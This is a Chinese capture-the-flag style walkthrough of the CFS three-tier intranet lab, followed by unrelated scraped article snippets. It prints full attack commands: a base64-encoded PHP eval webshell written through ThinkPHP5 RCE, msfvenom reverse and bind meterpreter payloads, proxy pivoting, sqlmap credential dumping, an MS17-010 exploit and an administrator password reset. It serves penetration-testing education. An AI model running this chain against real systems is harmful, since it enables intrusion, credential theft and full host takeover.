[内网渗透]CFS三层靶机渗透
文章目录
- [内网渗透]CFS三层靶机渗透
- 网络拓扑图
- 靶机搭建
- Target1
- 0x01.nmap主机探活
- 0x02.端口扫描
- 0x03.ThinkPHP5 RCE漏洞拿shell
- 0x04.上传msf后门(reverse_tcp)反向连接拿主机权限
- 内网渗透
- Target2
- (1)路由信息探测
- (2)msf代理配置
- (3)利用bagecms-sql注入漏洞,admin登录后台拿shell
- (4)上传msf后门(bind_tcp)正向连接拿ubuntu主机权限
- Target3
- 0x01.添加路由
- 0x02.利用ms17-010永恒之蓝漏洞拿shell
- 参考:
[内网渗透]CFS三层靶机渗透
网络拓扑图

三个Target主机的拓扑图如图,攻击机的网段在192.168.1.1/24
- Target1 Centos7
- Target2 Ubuntu
- Target3 Win7
该靶机的渗透流程如下:
通过攻击机kaili192.168.1.129攻击target1的192.168.1.132,target2、3不能连通外网,只能在内网通信。所以需要先渗透target1,然后通过它的vmnet2网卡去攻击target2。拿下target2之后,通过target2做跳板,攻击target3.
靶机搭建
- kali:192.168.1.129(vmnet1)
- Target1:192.168.1.132(vmnet1)、192.168.22.130(vmnet2)
- Target2:192.168.22.128(vmnet2) 、192.168.33.128(vmnet3)
- Target3:192.168.33.33(vmnet3)
其他不在此赘述,参考:https://blog.csdn.net/qq_61237064/article/details/125602997
Target1
0x01.nmap主机探活
在kaili中使用nmap查看vmnet1网段有哪些主机:
nmap -T4 -sP 192.168.1.1/24

查到一台:192.168.1.132
0x02.端口扫描
nmap -T4 -A -p 1-65535 192.168.1.132

80端口开放
0x03.ThinkPHP5 RCE漏洞拿shell
浏览器访问一下是ThinkPHP5.0版本,有漏洞

我们直接拿工具,检测一下漏洞:

存在漏洞,直接命令执行,写shell进去(此处$_POST被过滤,于是使用base64编码绕过):
echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==" | base64 -d > x.php

蚁剑连接:

在txt文件发现两个flag
我们执行ifconfig,发现了另一个网段22 192.168.22.130:

那么肯定存在内网了
0x04.上传msf后门(reverse_tcp)反向连接拿主机权限
存在内网我们就要使用msf工具了,
首先使用msfevnom生成一个elf的马,这里采取反向连接(Target1来连接kali)
使用uname -a查看一下Target1的系统:
(www:/www/wwwroot/ThinkPHP/public) $ uname -a
Linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64 #1 SMP Fri Sep 13 22:55:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
linux64
然后我们生成一个elf后门马,查看自己的IP地址,并根据自己的IP地址及目标靶机的系统类型生成对应的后门文件
# 根据target1操作系统类型生成elf后门,lhost为kali ip
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=4444 -f elf > shell.elf
然后在kali中运行监听模块,监听本机4444端口:
# 在kali中运行监听模块
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.129
set lport 4444
exploit
然后我们将elf马上传到target1,设置权限,并执行:
chmod +x shell.elf
./shell.elf
这个时候Target1靶机已经上线msf了:

下面开始内网渗透:
内网渗透
Target2
现在我们不能直接通过nmap去扫描Target2靶机的ip,因为我们网段的设置,kali与Target1是处在同一个网段的主机,我们可以直接扫描到。但是现在扫描的Target2处于内网网段,直接扫扫不到。但是我们知道Target1的vmnet2网卡与Target2处于一个网段,所以我们可以通过Target1的vmnet2网卡来打Target2,因此可以挂上Target1的代理
(1)路由信息探测
我们可以使用msf自带的模块进行信息探测:
- 探测网络接口的模块(get_local_subnets)
- 查看路由的模块(autoroute -p)
# 探测子网信息,可以看到存在22网段
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.1.0/255.255.255.0
Local subnet: 192.168.22.0/255.255.255.0# 查看路由信息,发现还没有路由
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] No routes have been added yet
**路由:**路由是指路由器从一个接口上收到数据包,根据数据包的目的地址进行定向并转发到另一个接口的过程,就相当于把我们要传输的数据先传输到该路由,再发往目标。
我们可以设置一个路由,然后把我们的请求通过Target1的vmnet1网段发出,然后重定向转发到vmnet2网段,这样kali的msf就可以与22网段(Target2)互通了
于是我们可以设置一个路由:
静态路由配置
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了
# 设置路由
run autoroute -s 192.168.22.0/24
# 查看
run autoroute -p
(2)msf代理配置
路由有一个缺陷,它只能在msf建立的这个会话上使用,如果我们新开一个终端使用nmap扫描,还是扫描不到的,所以我们需要设置msf的代理
msf有自己的代理模块
auxiliary/server/socks_proxy
假设现在msf的会话是session1,是建立在Target1的shell上的,建立路由之后可以与22网段通信。那么我们想要通过session1使用工具去攻击22网段,这时该怎么办?
这种情况就需要设置一个代理了,通过这个代理给别人一个端口去连接,然后我们可以使用本机去连接kali的端口,这样就能访问Target2的22网段了
# 先切换到控制台
background
# 配置socks5代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvhost 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set srvport 1080
msf6 auxiliary(server/socks_proxy) > run
在kali中通过vim /etc/proxychains.conf修改proxychains配置文件:

写入kali的ip和刚刚配置的端口
然后使用nmap探测端口(注意:使用nmap时前面要加上proxychains这样才能使用msf的代理)
proxychains nmap -T4 -p 80 192.168.22.128

80端口开放
我们给浏览器设置一个socks5代理:

访问一下:

是一个bagecms搭建的网站
(3)利用bagecms-sql注入漏洞,admin登录后台拿shell
这里可以使用一个好用的工具SocksCap,这个工具可以给其他工具添加上代理

扫描到robots.txt,告诉了我们admin的路径
#
# robots.txt for BageCMS
#
User-agent: *
Disallow: /admini/
Disallow: /index.php?r=admini*
信息收集,源码给了hint:SQL注入点:/index.php?r=vul&keyword=1

我们可以直接使用sqlmap跑,但是需要挂上代理,可以使用参数--proxy或kali中前面加上proxychains。我们可以直接指定注入点:-p keyword
# 爆一下数据库名称
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword --dbs
或
sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" --proxy=socks5://192.168.1.129:1080 -p keyword --dbs --batch
# 爆破 bagecms 库下的表
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D "bagecms" --tables T "bage_admin" --batch
# 爆破 bage_admin 表的字段
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D "bagecms" -T "bage_admin" --columns --batch
# 把 admin的账号密码给 dump出来
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了
拿到admin的账号和密码 admin:123qwe
登陆后台,拿到flag:

在tag/index.php写入马

然后我们使用SocksCap工具挂上代理,打开蚁剑连接:
注意URL:http://192.168.22.128/?r=tag

(4)上传msf后门(bind_tcp)正向连接拿ubuntu主机权限
我们拿到shell之后和前面一样,使用msf生成后门。但是这里有点不同,由于Target2不能出网
所以我们这次只能正向连接,即通过kali去连接Target2
我们在蚁剑查看一下target2的操作系统:
uname -a

可以看到是一个64位的操作系统
因此在kaili生成一个elf正向连接的后门:
# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > tgt2.elf
上传到target2,并修改权限执行:
chmod +x tgt2.elf
./tgt2.elf

在MSF中开启监听,与Target2建立连接,这里需要注意,上一次代理使用的reverse_tcp是MSF作为监听,让Target1连到我们,而这次代理使用的bind_tcp是Target2作为监听,我们需要连到Target2,这个逻辑正好是相反的
同样,如果我们要用msf 另起一个终端开启监听,这里要注意,msf新开的终端之前的那个终端的配置都用不了。
如果我们这次代理使用的bind_tcp是Target2作为监听,我们要正向连接到内网里的target2
因此,我们不能直接使用msfconsole打开,而是需要使用proxychains打开msf,需要走代理,否则msf访问不到Target2,然后再去连接bind_tcp
这里有个图

(其实使用之前那个终端就行,已经配置了代理,我们就可以直接连bind_tcp了)
我们此处演示一下使用proxychains:
proxychains msfconsole
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.128
set LPORT 3333
run
target2成功上线msf

然后继续进行信息收集,我们可以使用:
# 获取网络接口:
run get_local_subnets
# 添加路由地址:
run autoroute -s 192.168.33.0/24
# 查看路由地址:
run autoroute -p
此处我们还可以使用一种方法:
shell
# 转化为交互式
python -c 'import pty;pty.spawn("/bin/bash");'
# 查看网络信息
ifconfig

看到了一个33网段的ip,还存在内网
Target3
0x01.添加路由
由于我们在Target2(ubuntu)中探测到ubuntu主机 既处在22网段,又处在33网段,所以我们可以重复之前的步骤,增加一个路由,将kali通过代理发往Target2的流量通过路由从22网段重定向到33网段
# 添加指向33网段的路由
run autoroute -s 192.168.33.0/24
# 查看
run autoroute -p

成功添加了路由
nmap扫描一下target3靶机开放的服务
(新开一个终端后,我们需要在这个新开的msf终端上配置一个代理,然后修改/etc/proxychains.conf)

root@kali:~# proxychains4 nmap -Pn -sT 192.168.33.33
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect
扫描到开启了445和3389端口

0x02.利用ms17-010永恒之蓝漏洞拿shell
从扫描结果很容易知道这是win7系统,开启445和3389端口
445端口存在ms17-010永恒之蓝漏洞
于是我们可以试着使用msf中的ms17-010打一下:
search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set LPORT 6666
run
成功利用,输出shell进入命令行

我们输出:netstat -ant查看一下有哪些端口:

看到了3389端口,于是可以进行远程桌面连接,
我们先使用net user查看一下有哪些用户,发现有administrator
我们输入:net user administrator 123456修改密码
然后使用SocksCap打开连接远程桌面程序mstsc.exe
(注意要设置代理为新的那个),输入ip:192.168.33.33连接

成功拿下
还有另一种连接方式:使用端口转发:
portfwd add -l 7777 -p 3389 -r 192.168.33.33
将192.168.33.33:3389转发到kali的7777端口上,然后直接连接就行:
参考:
https://www.cnblogs.com/1vxyz/p/17080748.html
https://blog.csdn.net/qq_61237064/article/details/125602997
https://teamssix.com/191021-211425.html#toc-heading-9
相关文章:
[内网渗透]CFS三层靶机渗透
文章目录 [内网渗透]CFS三层靶机渗透网络拓扑图靶机搭建Target10x01.nmap主机探活0x02.端口扫描0x03.ThinkPHP5 RCE漏洞拿shell0x04.上传msf后门(reverse_tcp)反向连接拿主机权限 内网渗透Target2(1)路由信息探测(2)msf代理配置&a…...
一百五十一、Kettle——Linux上安装的kettle8.2开启carte服务以及配置子服务器
一、目的 kettle8.2在Linux上安装好可以启动界面、并且可以连接MySQL、Hive、ClickHouse等数据库后,准备在Linux上启动kettle的carte服务 二、实施步骤 (一)carte服务文件路径 kettle的Linux运行的carte服务文件是carte.sh (二…...
2023高教社杯数学建模A题 B题C题 D题 E题思路代码分析
文章目录 0 赛题思路1 竞赛信息2 竞赛时间3 建模常见问题类型3.1 分类问题3.2 优化问题3.3 预测问题3.4 评价问题 4 建模资料 0 赛题思路 (赛题出来以后第一时间在CSDN分享) https://blog.csdn.net/dc_sinor?typeblog 1 竞赛信息 全国大学生数学建模…...
从ChatGLM2-6B来看大模型扩展上下文和加速推理相关技术
ChatGLM2-6B 是开源中英双语对话模型 ChatGLM-6B 的第二代版本,在保留了初代模型对话流畅、部署门槛较低等众多优秀特性的基础之上,ChatGLM2-6B 引入了如下新特性: 更强大的性能:基于 ChatGLM 初代模型的开发经验,全面…...
Unity特效总览
一、粒子 Unity中的粒子组件叫做Particle System。 粒子系统顾名思义,与“微粒”有关。粒子系统会生成和发射很多粒子,通过控制粒子的生成数量、大小、角度、速度、贴图和颜色等众多属性,可以实现或真实或炫酷的各种效果。其中,…...
Unity中人物控制器
在Unity中控制器是很常见的功能,一般的人物控制器有两种方法,一种是通过代码实现,另外一种就是通过Unity中的API实现。 这里主要介绍第一种方法。 首先对控制器步骤进行分析。 步骤1:通过方向键控制人物移动。 步骤2ÿ…...
零钱兑换-输出组合数
1.暴力递归 (1)剩余金额小于0,无解 剩余金额等于0,有解 剩余金额大于0,继续递归 (2)从大的硬币到小的硬币,可以减少循环次数 #include <bits/stdc.h> using namespace std;…...
Mybatis 小结
一、Mybatis 基本构成 MyBatis的整体分为基础支持层、核心处理层、接口。 1.1、基础支持层 1.1.1、数据源模块 MyBatis自身提供了相应的数据源实现,也提供了与第三方接口数据源集成的接口,这些功能都位于数据源模块之中。 1.1.2、事务管理模块 …...
【Cartopy】库的安装和瓦片加载(天地图、高德等)
原文作者:我辈李想 版权声明:文章原创,转载时请务必加上原文超链接、作者信息和本声明。 Cartopy基础入门 【Cartopy】库的安装和天地图瓦片加载 【Cartopy】【Cartopy】如何更好的确定边界显示 【Cartopy】【Cartopy】如何丝滑的加载Geojso…...
TCPDF生成PDF文件,含jpjraph生成雷达图
TCPDF生成PDF文件,含jpjraph生成雷达图 依赖自行安装 "tecnickcom/tcpdf": "^6.6","amenadiel/jpgraph": "4"雷达图生成 中文字体添加安装 没有封装,只作为测试案例展示 // 创建新的PDF文档$pdf new \TCPD…...
Flink-串讲面试题
1. 概念 有状态的流式计算框架 可以处理源源不断的实时数据,数据以event为单位,就是一条数据。 2. 开发流程 先获取执行环境env,然后添加source数据源,转换成datastream,然后使用各种算子进行计算,使用s…...
如何培养对技术的热爱
这篇博文主要针对计算机专业相关的同学,对于理工科专业的同学有一定的借鉴意义,对于其他专业的同学,还请自行取舍。 背景 初学计算机,可能并不是每个人都能对其产生兴趣,更不要说从其中获得快乐。对于如何培养兴趣&a…...
Vue响应式数据的原理
在 vue2 的响应式中,存在着添加属性、删除属性、以及通过下标修改数组,但页面不会自动更新的问题。而这些问题在 vue3 中都得以解决。 vue3 采用了 proxy 代理,用于拦截对象中任意属性的变化,包括:属性的读写、属性的…...
pytest fixture 用于teardown工作
fixture通过scope参数控制setup级别,setup作为用例之前前的操作,用例执行完之后那肯定也有teardown操作。这里用到fixture的teardown操作并不是独立的函数,用yield关键字呼唤teardown操作。 举个例子: 输出: 说明&…...
39 printf 的输出到设备层的调试
前言 在前面 printf 的调试 我们只是调试到了 glibc 调用系统调用, 封装了参数 stdout, 带输出的字符缓冲, 以及待输出字符长度 然后内核这边 只是到了 write 的系统调用, 并未向下细看 我们这里 稍微向下 细追一下, 看看 到达设备层面 这里是怎么具体的 impl 的 测试用例…...
数字普惠金融、数字创新与经济增长—基于省级面板数据的实证考察(2011-2021年)
参照陈啸(2023)的做法,本对来自经济问题《数字普惠金融、数字创新与经济增长——基于省级面板数据的实证考察》一文中的基准回归部分进行复刻。数字普惠金融、数字创新已经成为驱动经济高质量发展的关键。利用省级面板数据,构建固…...
控制renderQueue解决NGUI与Unity3D物体渲染顺序问题
NGUI与Unity3D物体渲染顺序问题,做过UI的各位应该都遇到过。主要指的是UI与Unity制作的特效、3D人物等一同显示时的层次问题。 由于UI与特效等都是以transparent方式渲染,而Unity与NGUI在管理同是透明物体的render queue时实际上互相没有感知࿰…...
概率论与数理统计:第二、三章:一维~n维随机变量及其分布
文章目录 Ch2. 一维随机变量及其分布1.一维随机变量1.随机变量2.分布函数 F ( x ) F(x) F(x)(1)定义(2)分布函数的性质 (充要条件)(3)分布函数的应用——求概率3.最大最小值函数 2.一维离散型随机变量及其概率分布(分布律)3.一维连续型随机变量及其概率分布(概率密度)4.一般类型…...
BOLT- 识别和优化热门的基本块
在BOLT中,识别和优化热门的基本块之所以关键,是因为BOLT的主要目标是优化程序以更好地利用硬件特性,特别是指令缓存(ICache)。以下是BOLT如何识别和优化热门基本块的流程: 收集性能数据: BOLT开始的时候并不…...
Golang 中的 time 包详解(四):函数详解
在日常开发过程中,会频繁遇到对时间进行操作的场景,使用 Golang 中的 time 包可以很方便地实现对时间的相关操作。接下来的几篇文章会详细讲解 time 包,本文讲解一下 time 包中的函数。 func Now() Time 返回当前的系统时间。 package mai…...
从虚拟机到“云主机”:教你用内网穿透(frp/花生壳)把本地Win/Linux服务器暴露到公网
从本地开发到公网访问:内网穿透技术实战指南 你是否遇到过这样的困境?在本地虚拟机中精心搭建的Web服务或API接口,却因为缺乏公网IP而无法让同事或客户实时查看。传统的云服务器方案不仅成本高昂,配置过程也相当繁琐。本文将带你探…...
Go语言怎么做API限流_Go语言令牌桶限流教程【实战】
Go 推荐用 golang.org/x/time/rate.Limiter 实现令牌桶限流,因其轻量、线程安全、支持突发控制;需复用实例、合理设置 rate 和 burst(如 rate.Every(100ms), burst20),并在路由前统一拦截,避免误用 Allow()…...
3步掌握DeepL翻译插件,让跨语言浏览像母语阅读一样自然
3步掌握DeepL翻译插件,让跨语言浏览像母语阅读一样自然 【免费下载链接】deepl-chrome-extension A DeepL Translator Chrome extension 项目地址: https://gitcode.com/gh_mirrors/de/deepl-chrome-extension 在信息爆炸的全球化时代,语言障碍依…...
AI Agent Harness Engineering 与大模型微调:如何让智能体更适配特定行业场景
AI Agent Harness Engineering 与大模型微调:如何让智能体更适配金融、医疗等强约束特定行业场景第一部分:引言与基础 (Introduction & Foundation) 1. 引人注目的标题 主标题:AI Agent Harness Engineering 领域微调:破解强…...
避开定时器分频的坑:STM32 CubeMX ADC欠采样配置中的精度损失与应对策略
STM32 CubeMX ADC欠采样实战:破解非整数分频下的定时器精度困局 当我们需要用100kHz采样率捕获1MHz信号时,传统方案往往束手无策。欠采样技术通过巧妙的时间间隔设计,让低速ADC也能采集高频信号。但当你将采样间隔设置为1.1μs时,…...
从随便用到查户口:AI圈的实名暴政,程序员炸了
这两天Anthropic的Claude实名认证风波席卷AI圈,引发全球用户群体的强烈不满和抗议。这一政策变化在科技社区、社交媒体平台上迅速发酵,形成了"全球集体众怒"的舆论风暴。 作为一个写了几十年代码、摸遍国内外AI工具的老程序员,我是…...
手搓你的 LLM Wiki:让Agent自动进化,每次写入新信息即“更新”认知
前不久,AI 领域知名研究者 Andrej Karpathy 开源了他的 LLM Wiki——一个用大语言模型维护的个人知识库。它的思路非常简洁:把知识以纯文本形式存在本地,由 LLM 负责理解和更新。这个项目一经发布便引发了广泛讨论,很多开发者开始…...
每天30块,国家给兜底———一个关于“饿不死”的制度设想
这个想法很简单国家每天给每个中国人发30块钱。不是现金。是手机里的一种“数字券”。只能买四样东西:吃的、穿的、基础药、便宜手机。今天不用,今晚12点清零。明天醒来,新的30块自动到账。但是——如果他今天打工挣的钱超过了全国平均数&…...
Chisel3实战踩坑记:从Driver.execute到ChiselStage.emitVerilog的版本迁移指南
Chisel3实战迁移指南:从Driver.execute到ChiselStage的平滑升级 如果你最近打开过两年前写的Chisel项目,可能会发现原本运行良好的Driver.execute突然被IDE划上了删除线——这不是你的环境配置出了问题,而是Chisel团队正在推动的API革新。作…...
材料成本率怎么算?看懂材料成本率才能控制生产成本
在制造业中,老板们最常问的一个问题是:“这个订单报价看着挺赚钱,怎么月底一算就没利润了?”答案往往藏在三个字里——材料成本率。材料成本率就是原材料成本占产品售价的比例。比如,一个产品卖100元,其中原…...
